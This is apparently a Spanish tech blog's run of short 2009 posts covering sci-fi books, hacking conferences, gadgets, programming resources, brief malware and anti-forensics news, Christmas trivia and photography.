• The Alchemy of Stone, by Ekaterina Sedia (Prime)
• The Baroque Cycle, by Neal Stephenson
• Confessions of Max Tivoli, by Andrew Sean Greer
• Down And Out In the Magic Kingdom, by Cory Doctorow (Tor)
• The Execution Channel, by Ken MacLeod (Tor)
• Glasshouse, by Charles Stross (Ace)
• Harry Potter Series, by JK Rowling (Bloomsbury)
• Jonathan Strange and Mr Norrell, by Susanna Clarke (Bloomsbury)
• Look to Windward, by Iain M. Banks (Orbit)
• The Mount, by Carol Emshwiller (Small Beer Press)
• Oryx and Crake, by Margaret Atwood (Anchor)
• Pattern Recognition, by William Gibson (Putnam)
• Perdido Street Station, by China Miéville (Del Rey)
• Rainbows End, by Vernor Vinge (Tor)
• Stories of Your Life And Others, by Ted Chiang (Orb)
• Time Traveler’s Wife, by Audrey Niffenegger (MacAdam/Cage Books)
• Tooth and Claw, by Jo Walton (Tor)
• World War Z, by Max Brooks (Crown)

Si te quedaste en Asimov es hora de renovarse.

Rfiddler

Pistola o más bien parece un rifle, que destruye (quema) chips de identificación por radiofrecuencia (RFID) y algún otro dispositivo electrónico, como lápices USB.

Según el creador de esta arma de ciencia ficción, se ha basado en una charla del CCC del 2005. Aquí os dejo un vídeo de demostración. En el mismo podéis ver como destruye un pasaporte Alemán y una tarjeta de hotel.

Somos inocentes

Compartir no es delito. Versionar no es delito. Enlazar no es delito. Bloguear no es delito. Admirar no es delito. Difundir no es delito. Descargar no es delito. Informar no es delito. Colaborar no es delito. Debatir no es delito. Protestar no es delito. Soñar no es delito. Aprender no es delito. Amar no es delito. Recrear no es delito. Prestar no es delito. Mezclar no es delito. Ayudar no es delito. Progresar no es delito. Ver, leer, escuchar, sentir, disfrutar no es delito. Ser no es delito.

26C3

CCC (Chaos Communication Congress), junto con la Defcon, quizás sea la mejor conferencia sobre hacking del mundo mundial. Asistir a estos eventos, normalmente no suele ser fácil por varias razones, el coste y la disponibilidad de entradas.

La 26 edición del CCC, 26C3, se está celebrando en Berlín, Alemania, durante los días 27 al 30 de Diciembre.

La buena noticia es que puedes acceder online a las distintas salas en directo. En esta página tienes todos los enlaces a los distintos servidores de vídeo. Ofrecen distintos formatos como WMA, Icecast, Ogg o H.264. Según también comentan en la misma página, tendrás disponibles todos los vídeos de las presentaciones en menos de 24 horas.

De matemáticas...

- UN PROGRAMA HTML…

MathJax una herramienta open source para representar ecuaciones matemáticas vía HTML.

Para webs de contenido científico existe también el LaTeX, que es el más utilizado y cuya alternativa es el MathCast. Está basado en Ajax y lo bueno es que se trata de una herramienta de código libre, cuyas API están disponibles para ser integradas en todo tipo de aplicaciones y servicios web.

Record en supercomputación

El grupo español Hemcuve ha confeccionado un super ordenador llamado Lusitania con el que han batido, por tercera vez, el record de computación. la prueba consiste en una simulación electromagnética del funcionamiento de un coche, para lo que fue necesario resolver 620 millones de incógnitas, esta actividad que le tomó cerca de 20 horas.

Este super ordenador ha nacido gracias a un acuerdo entre Hewlett-Packard y la Junta de Extremadura con una inversión cercana a los 8 milllones de euros. 256 núcleos de procesamiento, 1.6 terabytes de memoria RAM y 79 Ghz de frecuencia...

Hello World! en diferentes lenguajes de …

Hello World! ó ¡Hola Mundo! es por tradición, el primer programa que escribes cuando empiezas en un nuevo lenguaje de programación. Es bastante interesante ver este código ya que es lo mínimo que puedes escribir en el lenguaje que estes usando y hacerte una idea inicial de la sintaxis y estructura del código.

Puede ser tan sencillo como este en BASIC:

PRINT "Hello World"

O este un poco más complicado en Ensamblador 8088 con masm:

Primer canal de TV en 3D para 2010

DirecTV ha anunciado que planean lanzar al aire, el primer canal en 3D y alta definición en los Estados Unidos. Esto será posible gracias al nuevo satélite de la empresa que le da dicha capacidad de transmisión. Será operativo en  marzo del 2010. Panasonic, Sony, Samsung, Mitsubishi y LG estarán presentando las primeras pantallas comerciales con tecnología 3D durante los primeros días de enero en el CES 2010.

Linux+ ahora en PDF y gratuita

Vaya sorpresa me he encontrado al ver que la revista Linux+ ha liberado la primera descarga en PDF del número completo correspondiente a Enero de 2010 (puedes descargarlo aquí).

Pero además, mirando en su centro de descarga podrás encontrar cientos de artículos interesantes como por ejemplo este número de Septiembre "Linux+: Virtualización" y muchos artículos interesantes de la revista como por ejemplo este sobre cloud computing o este repaso a la historia del hacking.

El super sable láser

Puede que a Yoda le quede grande. :-)

Visto en puntogeek.com

52.000.000 de usuarios en torrent. ¿p2p muerto?

A la técnica de intentar hacer creer a tu enemigo que vas ganando en una guerra se la denomina "psicológica". Si se hace correctamente es más eficaz que otras como la "química" o la "de bombardeo". La guerra psicológica se utiliza desde los tiempos de los samurais y es muy efectiva, tanto que a día de hoy se sigue utilizando.

Si se "agrede" a la población con un sumatorio de ideas tales como "te vamos a cortar la conexión si sigues descargando" o "te vamos a multar por cada canción descargada" pero no da resultado, entonces cual es el siguiente paso... intentar inculcar poco a poco que cada vez hay menos gente que descarga y por lo tanto cada vez eres más "visible" para el hombre del coco que va ha venir y te va ha comer.

Belén minimalista

Qué bueno ;) , visto en OhGizmo!.

Imágenes del año, Nature

No te pierdas estas fantásticas imágenes (16) seleccionadas por la revista Nature. Desde la imágen de la ISS cruzando el sol al fantástico fractal Mandelbrot en 3D (imágen de arriba).

Todas en Nature.

¡Únete a la Alianza Rebelde HOY!

Camiseta vista en TeeFury.

Campo de batalla Microsoft vs Google en 2009 y en …

Imágen: http://microreviews.org/

Estos dos gigantes han entablado este año algunas batallas (que seguirán en 2010) con diferente resultado para cada uno de ellos:

IE8 vs Chrome: hay más usuarios con IE8 que con Chrome, pero no podemos negar que el avance y las buenas expectativas hacen que el futuro de Chrome sea bastante bueno. No es fácil irrumpir en un mercado liderado por IE y Firefox, así que esta batalla de momento la gana Google.

Chuleta para WebGL

Nos encantan las chuletas (sobre todo las de cerdo), en Nihilogic nos presentan una nueva para nuestra colección que puedes descargar aquí en PDF y en este otro enlace en HTML.

WebGL es un estándar para poder visualizar gráficos 3D (con aceleración por hardware) en navegadores sin necesidad de plugins usando OpenGL desde Javascript.

Puedes usarlo en navegadores como Google Chrome, Firefox y Opera.

No hay mucha información en castellano sobre WebGL, así que te dejo este enlace a un tutorial en inglés:

10 cosas curiosas que posiblemente no sabes sobre …

1. Feliz no-nacimiento que se celebra el nacimiento de Jesucristo pero la Biblia no lo menciona y no se sabe la fecha, además parece coincidir con una fiesta pagana llamada Saturnalia.
2. A los cinco meses del comienzo de la Primera Guerra Mundial, ambos bandos se tomaron un descanso en Navidad donde se cantaban entre ellos villancicos y canciones. A la mañana siguiente, soldados alemanes salieron de las trincheras y empezaron a aproximarse a las tropas Aliadas gritando "Feliz Navidad" en inglés. Lo más increible, no fue un truco, realmente docenas de soldados británicos salieron a recibirles y estrechar sus manos, incluso intercambiaron cigarros. Eran otros tiempos.
3. Desde 1659 a 1681 celebrar la Navidad en las colonias inglesas en Norteamérica podía costarte la vida. De hecho estas fiestas estaban prohibidas.
4. El autor que creó al Jinete Sin Cabeza y escribió los Cuentos de la Alhambra, Washington Irving, es el que ha creado la imágen icónica de Santa Claus en 1819 en la serie de cuentos cortos "The Sketch Book of Geoffrey Crayon" donde describe un sueño donde se ve a San Nicolás volando por el cielo en una especie de carruaje.
5. El famoso reno de nariz roja Rudolph, fue creado como un anuncio de publicidad por Robert L. May para el departamento de ventas para las tiendas de Montgomery Ward.
6. En 1965 los cientifícos de Tierra de la misión Géminis 6 no podía creer lo que estaban oyendo por la radio, un villancico tocado con una armónica por los astronautas de la misión. Este instrumento se lo llevaron de incógnito a la misión y se ha convertido en el primero que suena fuera de nuestra Tierra.
7. La tradición de dar un beso bajo una ramita de muérdago viene de la cultura Celta donde se creía que esta planta era capaz de curar heridas, dar buena suerte y protegernos de los malos espíritus.
8. Incluso antes de la llegada de la Cristiandad, los alemanes decoraban los árboles para que brillaran en la oscuridad para el solicistcio de Invierno. Los primeros árboles de Navidad aparecieron en el siglo 17 en Estraburgo y se llevaron a Pensilvania en 1820 con la llegada de los emigrantes alemanes.
9. San Francisco de Asís fue el primero en 1224 en recrear el nacimiento de Cristo (el famoso belén) con animales vivos para explicarlo a sus seguidores.
10. Los griegos creen que unos goblins llamados kallikantzeroi se vuelven locos durante los 12 días de Navidad y muchos de ellos no intercambian regalos hasta el día 1 de Enero. Por otro lado en todo el hemisferio sur del planeta la Navidad se celebra en las playas y aquí en España tenemos la lotería más grande el mundo (esto seguro que lo sabes, sobre todo si no te ha tocado nada como me ha pasado a mi).

Visto en TheFireWire.

Actualización: si quieres saber más cosas curiosas sobre la Navidad, visita el Blog de Koky.

Las extensiones y temas más populares para Firefox …

Todos los temas y extensiones más votados en la fantástica LifeHacker. Ahora veremos muchas entradas del tipo "lo mejor de 2009", así que estaremos atentos a estas recopilaciones.

La lista completa aquí.

Caja de Herramientas de Seguridad en Linux

En nuestra web favorita de seguridad, Security By Default, nos han preparado dos tutoriales sobre herramientas de seguridad para nuestras auditorías de seguridad. Ya sabemos que existen multitud de distribuciones Linux de seguridad, pero en estos tutoriales nos explican cómo crear una sola distribución con todas las herramientas necesarias.

Imprescindible:

Armándonos para el ataque, Parte 1

Armándonos para el ataque, Parte 2

Lo más votado en 2009 de Instructables

Esta web es una de nuestras favoritas para hacer todo tipo de proyectos geeks. Ahora tenemos una lista de las 50 entradas más votadas en 2009 (es la segunda, la primera lista de Agosto aquí), donde podemos ver proyectos de cómo hacer una cota de malla con las chapas de las latas de refrescos (o cervezas), un minibar estilo R2D2 o un helado de un solo ingrediente. También tiene proyectos electrónicos como este panel LED para Arduino.

¡Feliz Navidad!

Visto en GeeksAreSexy.

Alma, de Rodrigo Blaas

Rodrigo Blaas trabaja en Pixar y en su tiempo libre ha creado este fantástico corto.

Visto en TheFireWire.

Darth Vader abre la bolsa en Wall Street

El día 22 de Diciembre Darth Vader y algunos soldados imperiales (y R2D2) abrieron la bolsa de Wall Street.

Visto en Neatorama.

100 de las mejores fotografías en B&N

Impresionante recopilación de fotografías en blanco y negro.

Galería en instantshift.com

Máquina convierte pensamiento en voz

El Síndrome de Enclaustramiento está catalogada como una de las peores enfermedades que existen. El enfermo ha perdido cualquier capacidad motriz, debido a una lesión, pero es completamente consciente. En la mayoría de los casos sólo pueden mover los ojos (y existen sistemas de comunicación basados en estos movimientos) pero hay otros casos en los que ni eso. Una frase que lo resume es: están enterrados vivos. La ciencia tiene una asignatura pendiente con estos silenciosos pacientes y parece que ya se empiezan a ver algunas soluciones. Esta demostración fue posible gracias a la colaboración de un paciente de 26 años, quien sufrió un ataque cerebral a los 16. El procedimiento tardó cinco años en tomar forma, y se necesitó una gran cantidad de entrenamiento por parte del paciente. Con sesiones controladas por los investigadores, el paciente ha alcanzando una efectividad en su conversión "pensamiento-voz" de un asombroso 89 por ciento.

El Universo conocido

Espectacular video de 6 minutos basado en observaciones científicas reales que comienza en el Everest y acaba en los límites del Universo conocido.

Visto en UniverseToday.

Videotutoriales de fotografía

Como crear efecto dZoom

Navegando, navegando, me he encontrado con estos fantásticos videotutoriales de fotografía. Efectos como el Dave Hill, Topaz, dzoom, panografías y muchos más. Creo que no hay nada como aprender con un videotutorial.

Tutoriales: dzoom.org.es

Serious Sam 3 confirmado para 2010

Nuestros ratones temen la llegada de este juego porque ya sufrieron lo suyo en las anteriores entregas. La base de este juego es sencilla: legiones enteras de bichos y monstruos finales tan grandes como rascacielos. Sin comerte el coco con enigmas y con gráficos tirando a normalitos este juego se ha hecho un hueco en las estanterías de muchos. Esta entrega está creada a partir del nuevo motor Serious Engine 3 en HD.

La confirmación oficial vino de manos del CEO de Croteam, Roman Ribaric, cuando dijo: “Serious Sam 3 sucederá sin dudas, actualmente se cree que estará terminado para 2010”.

Predicciones para 2020 por Ray Kurzweil

"Tendremos gafas que podrán sumergirnos en un entorno de realidad virtual, ver películas en 3D proyectadas directamente en nuestra retina o proporcionarnos datos descargados al momento de internet, de manera que al ver un edificio o una persona tengamos información relevante."

"La energía solar será suficiente para todas nuestras necesidades."

"La ingeniería genética hará que podamos “reprogramar” nuestro genes para evitar las enfermedades coronarias, el cáncer o la obesidad. Cada año podremos añadir más de un año a nuestra esperanza de vida."

Gráficos de la evolución de ...

Viendo la web de Obsoletos donde hablan sobre el gráfico de arriba sobre métodos de almacenamiento, me he encontrado con la web Geekstir donde hay más gráficos espectaculares sobre la evolución de:

La evolución de los sistemas de almacenamiento

La evolución de los personajes de Nintendo

La evolución de los mandos de videojuegos

La evolución de Apple 

La evolución de los teléfonos móviles

Nos os los perdáis.

Mario vs Pacman

Visto en The Awesomer.

Videocámara con zoom óptico telescópico

Chinavasion ha creado esta cámara a un precio muy competitivo (68 €) para que no te quedes corto con tus zooms. Una buena idea para regalar.

Visto en gizmos.es

Página oficial + especificaciones en chinavasion.com

WampServer para crear tu servidor web

Esta es simplemente una opción de software frente a otros como Appserv pero ésta instalación es considerada mejor y más sencilla bajo windows. Tendrás Apache, PHP, MySQL y phpMyAdmin (gestor de base de datos) funcionando en tu equipo.

En el proceso de instalación se crea una carpeta en tu disco duro, por defecto wamp \ www, en la que se albergarán todos los archivos de tu sitio. Si quieres cambiar la ubicación de esta carpeta, puedes hacerlo desde la opción www directory en los menús de configuración de WampServer. Para acceder a tu sitio web sólo tienes que escribir en la barra de direcciones de tu navegador http://localhost.

¿Cómo desactivo las mayúsculas?

La contestación no tiene despercidio: "ES IRREVERSIBLE, ESO ME OCURRIÓ A MÍ"

Visto en elqudsi.com

Los grandes éxitos del Hubble

Una selección de 100 imágenes (de las casi 200.000) tomadas por nuestro querido Hubble desde que fue lanzado al Espacio en 1990:

100 Epic Images from  Hubble - Coolvibe

Visto en io9.

Screencasts en Linux

Aquí os dejo un vídeo (screencast) de cómo hacer un screencast bajo Linux.

El reloj digital manual

Éste reloj es completamente manual y mide 4 metros de altura y 12 de anchura. El montaje lo hicieron en la estación central de trenes de Rotterdam y tiene a 36 operadores que deben cambiar cada madero a mano y megáfono en mano. Impresionante.

Visto en abadiadigital.com

Página de páginas para inspirarse

Algunas veces los diseñadores nos quedamos sin ideas. Esos momentos llegan a ser desesperantes y no es nada recomendable fijarte en otros para dar con esa idea que no termina de cuajar en tu cabeza porque termina siendo un sucedaneo cutre de lo que estas imitando. Así que no entréis en esta página... pero ya os digo que será difícil. :-)

Página: The FWA

Visto en portafolioweb.com

La imagen más grande del mundo

Leo a través de Slashdot una entrada de la que habla sobre la imagen más grande del mundo. En realidad es la composición de 1655 imágenes de 21,6 megapixeles cada una, dando lugar a una imagen de 26 Gigapixeles. La foto en cuestión es sobre una ciudad alemana llamada Dresder. La cámara usada para tomar las fotos fue una Canon 5D Mark II con una lente de 400mm. La composición de las imágenes se hizo sobre un ordenador con 16 procesadores y 48 Gb de RAM y con todo ello tardando 98 horas en procesar dicha imagen.

Chuleta HTML5

Como bien sabéis, HTML5, el nuevo estándar de las páginas de hipertexto, viene muy cargado con un gran número de nuevas y potentes funcionalidades. Prueba de ello, es que gigantes como Mozilla o Google, están adoptando esta tecnología a pasos agigantados. De hecho, Google dejó de dar soporte a Google Gears en detrimento de este nuevo estándar y ya sabéis, Google es como el rey Midas, todo lo que toca lo convierte en oro. Así que ya sabéis, si eres desarrollador web, ponte las pilas y empieza a tomarte en serio la adopción de HTML5 en tus proyectos.

Solución al reto t2'09

Este año el reto t2'09 consistía en analizar un fichero que contenía una captura de red y a partir de ahí dependiendo de tus habilidades tendrás que encontrar la solución al reto.

El reto ya terminó, pero ahora han publicado la solución de los organizadores y la del ganador de este año, ambos en PDF.

Siempre me ha gustado leer las soluciones a este tipo retos. En realidad cualquier tipo de reto que se relacione con la programación o la seguridad.

Análisis detallado de iKee.b

iKee.b es el nombre con el que se bautizó al cliente de una botnet para iPhone allá por finales del mes de Noviembre. La finalidad del este malware, era la de robar los SMS del teléfono donde se alojaba y se coordinaba con un servidor en Lituania. En sri.com nos deleitan con un detallado análisis del funcionamiento y la lógica del mismo, así como sus ficheros de configuración. iKee.b parece ser, hasta la fecha, el malware más sofisticado para terminales móviles, aunque no llega todavía a la ingeniería de las botnets que podemos encontrar hoy en día para PCs.

Introducción rápida a GDB

Cómo muchos ya sabéis, GDB es el depurador por excelencia de sistemas GNU y del que ya hablamos en su día aquí sobre el potencial del mismo con la salida de la versión 7.

En este enlace podéis encontrar una introducción muy escueta y breve, pero que te ayudará sin duda alguna a adentrarte y conocer el uso de este magnífico depurador.

Arrastrar y soltar en Firefox 3.6

Magnífica característica la que nos trae la nueva versión de Firefox. Esta versión todavía está en estado Beta, pero en el blog oficial de Mozilla, podéis ver una pequeña demostración de como usar el arrastrar y soltar (drag and drop) con el nuevo navegador. También proveen ejemplos del código fuente de como conseguir esto. Aquí os dejo el vídeo.

La web se convierte más interactiva que nunca.

Programación gráfica en Android

En la web de INsanityDesign están portando los tutoriales de OpenGL de NeHe a Android. Los tutoriales de NeHe son el punto de referencia para cualquiera que empieza a programar las OpenGL. Hasta ahora llevan portado las 10 primeras lecciones y la 16, que a continuación paso a enumerar:

1.- Descarga y configuración de Eclipse y Android. 2.- Tu primer polígono. 3.- Añadiendo color. 4.- Rotación. 5.- Figuras 3D. 6.- Mapeo de texturas. 7.- Filtros, iluminación y control de texturas. 8.- Mezcla. 9.- Moviendo bitmaps en espacios 3D. 10.- Carga y movimiento en un mundo 3D. 16.- Efecto niebla.

Análisis de malware en PDFs

Acabo de leer en el prestigioso blog de SANS, una entrada donde explican de forma muy sencilla de como analizar un fichero PDF en busca de malware. Últimamente Adobe está teniendo bastante trabajo con su Adobe Reader. En su día ya publicamos aquí un 0day y hace unos días apareció otro.

De todas formas, si te gusta juguetear con el tema de ingeniería inversa, análisis forense, etc. Ya tienes con lo que distraerte este fin de semana navideño.

Tabla periódica de estilos de cervezas

Haz click en el dibujo para verla en el tamaño original.

Piratean los aviones espías norteamericanos

Un software ruso llamado Skygrabber disponible online por 18 € consigue piratear las imágenes tomadas por los aviones espía estadounidenses (drones).

Parece ser que actúa captando las señales rebotadas en los satélites, una vez que diriges tu antena hacia él. Aunque según dice el ejercito estadounidense, las imágenes tienen baja resolución.

Creo que la SGAE está detrás del programador ;)

Visto en: elpais.com

Lista de periódicos

Posiblemente la lista más completa de periódicos de todo el mundo. Así que ya puedes saber que ocurre por cualquier rincón del planeta.

Referencia de Instrucciones y Códigos de Operación …

En el siguiente enlace podemos encontrar una de las mejores referencias de instrucciones y códigos de operación para x86 que he visto. Casi toda la información está en los micros de Intel. Además a esta referencia también le han añadido instrucciones no documentadas.

Ofrecen distintos formatos y versiones de la documentación. Ofrecen una versión coder, para uso más común y una versión geek, dónde la documentación es un poco más amplia y técnica. También ofrecen dicha documentación para micros de 32 y 64 bits. Y no sólo esto, sino que la información base de todo esto la tienen en un fichero XML , lo cual da mucho juego en caso de que queramos hacer algo con dicha documentación.

Christmas Light Hero

Impresionante el juego de luces navideñas sincronizada con el juego Guitar Hero.

Browser Size

Google suma y sigue, para bien o para mal, Google sigue regalando herramientas que les hace la vida más fácil tanto a usuarios finales como profesionales.

Esta vez nos traen Browser Size, una herramienta que nos ayuda a ver cómo otros usuarios ven una página web en forma de porcentaje. El servicio es muy sencillo de usar, sólo tienes que ir a la web. introducir la URL que quieras y verás dicha web con una capa por encima con que divide la página por zonas y el porcentaje de usuarios por cada zona. Como una imagen vale más que mil palabras, aquí os dejo una captura de pantalla.

FASTRA II

FASTRA II, según sus creadores, es el ordenador de escritorio más rápido del mundo. Compuesto por 7 tarjetas de vídeo y un total de 13 GPUs, unidades de procesamiento gráfico. En el vídeo que os dejo a continuación podéis ver el maquinón y algunas de las travas que han encontrado a la hora de montar todo el hardware, como la instalación de las tarjetas gráficas, los problemas de la BIOS a la hora de reconocer todas esas tarjetas, la ayuda de ASUS con una BIOS personalizada para el reconocimiento del hardware de vídeo y los pequeños hacks que la han tenido que hacer al kernel de Linux.

6 formas distintas de matar un proceso en Linux

En el magnífico blog makeuseof.com publicaron un artículo que nos puede ser de gran utilidad a la hora de deshacernos de algún proceso que se haya quedado colgado. Nos dan 6 formas de matar un proceso en Linux, que a continuación paso a resumir.

Monitor de sistema (System Monitor).

Esta es la forma con la que los usuarios de Windows se sentirán más cómodos y familiarizados, sin duda alguna. Sólo tienes que abrir el monitor de sistema, ir a la pestaña de procesos, seleccionar el proceso que queremos matar con el botón derecho del ratón y elegir “Matar Proceso” (Kill Process) en el menú flotante.

Galería de imágenes de ordenadores antiguos

A continuación os dejo algunas espléndidas imágenes de los primeros ordenadores. Al final del post os dejo el enlace a la entrada original dónde podréis ver el resto. Un total de 19 para ser más exactos.

Z4 (1944)

Colossus (1944)

ENIAC (1946)

Podéis ver el resto aquí.

Descafeinado, por favor

DECAF, es una nueva herramienta anti-forense, especialmente creada para contrarrestar COFEE. Vale vamos por partes.

COFEE es una herramienta de análisis forense que Microsoft creo especialmente para los cuerpos de seguridad. Dicha herramienta es básicamente un conjunto de scripts (unos 150) que puedes correr individualmente. Como cualquier herramienta de análisis forense, su principal objetivo es sacar toda la información de valor de un equipo que ha sido comprometido, de forma que se pueda deducir, quién comprometió el equipo, cómo, cuándo y qué hizo. Y viniendo de Microsoft, quien mejor que ellos conocen sus sistemas por dentro, tuvo gran repercusión, pero como dije antes, este software no estaba disponible para el usuario final, sino que fue suministrada sólo a los cuerpos de seguridad y del gobierno. Pero como suele ocurrir con los productos de dicha compañía, siempre se acaban filtrando y por lo tanto disponibles para cualquiera.

InfoDream, la Dreamcast portátil

Veo en Hack a day como los miembros de Bacteria han convertido una Dreamcast en una consola portátil, dentro de un ¡Tapperware! ¡Niño onde va con er taperwé!

El frankest¡eain lo han montado con los siguientes componentes:

• La pantalla LCD de 5" de una PSone de Sony.
• El joystick de una N64.
• El hardware de la Dreamcast en si.
• Una tarjeta de memoria de Dreamcast.
• Aquí podéis descargar el log del montaje (PDF).

Aquí os dejo un par de vídeos donde explican el montaje y hacen una pequeña demostración de la consola en funcionamiento.

Compresor de URLs de Google

Google, dominante sin duda alguna de servicios en Internet, sigue acaparando más y más. Después de entrar en la pelea por controlar el tráfico DNS, de la cual nos habló nuestro compañero Cybercaronte, ahora nos traen un sistema de abreviación/compresión de URLs, tipo TinyURL, bit.ly, etc. Este nuevo servicio lo han bautizado como goo.gl. Aunque ahora mismo este servicio sólo está disponible para usarlo con productos Google y no para un uso externo. Veremos a ver cuanto tardan en ponerlo a disposición del público para uso general.

Cómo se lo monta Santa Claus

Muy curioso el análisis, incluye física clásica (o tradicional) y cuántica.

http://nova.alc.upv.es/joomla/index.php/rutas/167-santa-claus-lo-tiene-crudo

La gente se lo curra de una manera.... :)

Haz tu propia antena inalámbrica

Aumenta la potencia de tu red inalámbrica con tu antena casera. Eso sí, es una antena direccional.

Material que necesitas:

• Papel de aluminio.
• Esta plantilla.
• Pegamento.
• Ver el siguiente vídeo.

Ya más fácil es comprarla hecha :-).

Fuente original.

Nuevo Lamborghini Ankonian

Basado en la estructura del invisible F-117 Nighthawk, el Ankonian sería uno de los vehículos más caros que existan, según la fuente. Su diseñador es Slavche Tanevsky de sólo 21 años.

Visto en Fayerwayer.com

Aeolus, una nave con helio y... a pedales

Deliciosamente futurista y ecológico

Este extraño tipo de globo aerostático/zepelín está diseñado para permanecer en el aire por espacio de dos semanas sin necesidad de tomar tierra. Tripulación máxima de 4 personas.

Visto en treehugger.com

TuxInfo 22

La revista en Español sobre Linux lanza su número 22 y segundo cumpleaños. Felicidades a TuxInfo y que cumpláis muchos más y nos sigáis regalando nuevos números.

Noticia de la publicación y descarga directa(PDF).

DNS Jumper, salta de servidor con un click

La verdad es que no necesita muchas explicaciones. Olvídate de llevar las direcciones escritas en posit o en txt. Grabas la IP en el botón y listo. Así de simple. Es una nueva aplicación freeware, portable y compatible con Windows 7, Vista o XP.

Descarga

Visto en gHacks

Time-lapse en Japón

Precioso video realizado en time-lapse  por las zonas más emblemáticas de Japón.

Visto en despuesdegoogle.com

Chuletas sobre Tecnología de la Información

En el siguiente enlace podéis encontrar varias chuletas relacionadas de alguna forma con la seguridad.

• Análisis de documentos maliciosos.
• Seguridad en la arquitectura de aplicaciones web.
• Solucionando comunicaciones humanas.
• Incidentes de seguridad para administradores.
• Cuestionario para incidentes de seguridad.
• Respuestas a ataques DDOS.
• Ingeniería inversa.
• Evaluación de la información.
• Cómo no triunfar en la seguridad de la información.

Al final de la entrada original, el autor enlaza a otras chuletas, también relacionadas con la seguridad, pero de otros autores.

Nueva pantalla para TV, smartphones,...

En el laboratorio Media Lab del MIT han desarrollado una tecnología que pudiera ser la base para nuevas pantallas de televisores y demás dispositivos de imagen.

Dicha tecnología convierte pantallas LCD en cámaras que proporcionan control gestual de los objetos en pantalla. Con lo que ya no haría falta ni tocar la pantalla para desplazarse por los menús de las aplicaciones.

He enlazado el link de la página web del MIT con la imagen. Allí mismo encontraréis un vídeo explicativo (en inglés) de cómo se consigue esto.

Cama Halcón Milenario

 

La chica no está incluida ;)

Visto en io9

Nook

Ya en su día os hablé de Nook, el lector de libros electrónicos que iba a sacar Barnes and Noble. Una de las características que más me llamó la atención es que el dispositivo funcionaba con Android.

En el momento en el que publiqué aquella noticia, los dispositivos no estaban disponibles, pero podías reservarlo. Yo decidí esperar, a ver que decían los usuarios sobe el mismo. Por fin la semana pasada empezaron a enviarlos y además mandaron también algunos a las tiendas de libros para que la gente pudieran ir a toquetearlos. Así que me decidí a ir a probar uno, a ver cual era la sensación. En principio el aparato es cómodo, he de decir que sólo jugué con él unos 15 minutos. El software parecía como no terminado, la sensación que me dio era de versión beta, pero le lectura era buena y el potencial del dispositivo en sí muy interesante. Después de llegar a casa me puse a leer un poco sobre comentarios de la gente. Llegué a un para de artículos donde analizaban dicho lector electrónico, uno del New York Times y el otro de algún otro periódico que no recuerdo ahora mismo. Ambos llegaban a la misma conclusión, el dispositivo todavía parecía en versión beta, por lo que parecía, la mayor parte de las notas negativas eran por culpa del software. Parece que B&N quería sacar el dispositivo para las navidades sí o sí.

Horas de oficina virtual de Android

El equipo de desarrolladores de Android van a ofrecer una serie de horas de oficina virtual para responder a preguntas las técnicas que los desarrolladores independientes puedan tener. Esto se llevará a cabo a través del canal #android-dev en irc.freenode.net.

Las horas que tienen programadas hasta la fecha son los Martes de 6pm a 7pm (9am a 10am PST) y los Jueves de 1am a 2am (5pm a 6pm PST), empezando mañana mismo 15 de Diciembre.

Nexus One

Nexus One es el nombre del nuevo teléfono de Google. A diferencia del HTC G1, que fue el primer teléfono que salió al mercado con el sistema operativo Android y que muchos lo denominaron GPhone, el Nexus One ha sido diseñado por la propia Google, aunque según parece la empresa que los está fabricando, también es HTC. Ahora mismo ni siquiera el nombre que se le ha dado, Nexus One, es oficial.

Exposición de la fotógrafa Lisette Model

"Fotografío todo lo que me atrae. Y es esa atracción la que me guía. Me acerco y disparo. No cambio nada, ni añado nada, casi siempre dejo cosas fuera del encuadre, simplifico, por supuesto. Simplifico mucho." Lisette Model

La exposición está hasta el 10 de enero de 2010 en la Fundadación Mapfre en Madrid. Es una recopilación de más de un centenar de sus fotografías, especialmente de Estados Unidos en los años 30, 40 y 50 y también algunos de sus trabajos anteriores en Francia.

Eclipse Marketplace

Eclipse estrenó hace una semana escasa el Eclipse Marketplace. Esta web pretende unificar en un mismo repositorio todos los plugins y herramientas que existen para la famosa plataforma de desarrollo. La idea ya exactamente la misma que la Apple Store o la Google Market.

Esto es una gran idea, porque con la cantidad de plugins que tiene uno que instalar después de la instalación de eclipse. Veremos a ver que tal funciona.

Protege fácilmente tus contenidos con una licencia

Realizar un Copyright de, por ejemplo, una fotografía requiere de varios pasos. Uno de ellos es ir, físicamente, a una oficina del Registro de la Propiedad Intelectual, rellenar una serie de formularios y entregar la obra en los formatos que te indiquen. Desde hace algunos años se está intentando agilizar estos trámites y en, según que tipo de obras, ya se puede hacer desde internet con firma digital en algunas comunidades españolas.

Interfaz humano

¿Qué es lo que realmente ocurre dentro de nuestro ordenador?

Hi from Multitouch Barcelona on Vimeo.

Jugando a Super Mario Bros en una pantalla de 8x8

Has leido bien, una pantalla de LEDs de 8x8 y un pic.

Hay que tener un poco de imaginación pero si lo miras un rato, al final se parece y todo.

Visto en HackADay.

Música para esta mañana de domingo, M83

 

M83 es un grupo francés de música electrónica con un sonido que a veces te recordará a canciones de los 80.

Web Oficial aquí.

We Own the Sky

Couleurs (video no oficial)

I Guess Im Floating (video no oficial)

Teen Angst

 Kim & Jessie (video no oficial con imágenes de Donnie Darko)  

(IN) Secure Magazine Nº23 disponible

Somos grandes seguidores de esta fantástica ezine gratuita. Ya puedes descargar el número de Noviembre aquí.

Estos son algunos de los artículos que incluye:

• Microsoft's security patches year in review: A malware researcher's perspective
• A closer look at Red Condor Hosted Service
• Report: RSA Conference Europe 2009, London
• The U.S. Department of Homeland Security has a vision for stronger information security
• Q&A: Didier Stevens on malicious PDFs
• Protecting browsers, endpoints and enterprises against new Web-based attacks
• Mobile spam: An old challenge in a new guise
• Report: BruCON security conference, Brussels
• Study uncovers alarming password usage behavior
• Elevating email to an enterprise-class database application solution
• y mucho más ...

Freaklances. Primer capítulo.

¿Trabajas en publicidad convencional o interactiva por cuenta propia? ¿vendes tus fotos al mejor postor? ¿trabajas desde haces años en una empresa pero como autónomo? ¿Has creado guiones instruccionales para elearning en tu casa? ¿Eres realizador de vídeo independiente? Si has contestado afirmativamente a alguna de estas preguntas no lo dudes … eres o has sido “Freaklance”.

Personalmente diré que hubo un momento en mi vida que era un calco de lo que aquí se vé. Genial, esperamos más.

Oceansize, espectacular corto en 3D

Visto en Undead BackBrain

El astronauta más valiente de la historia

Esa sombra que hay debajo del satélite es Dale Gardner

a 384 Km de altura sobre las Bahamas.

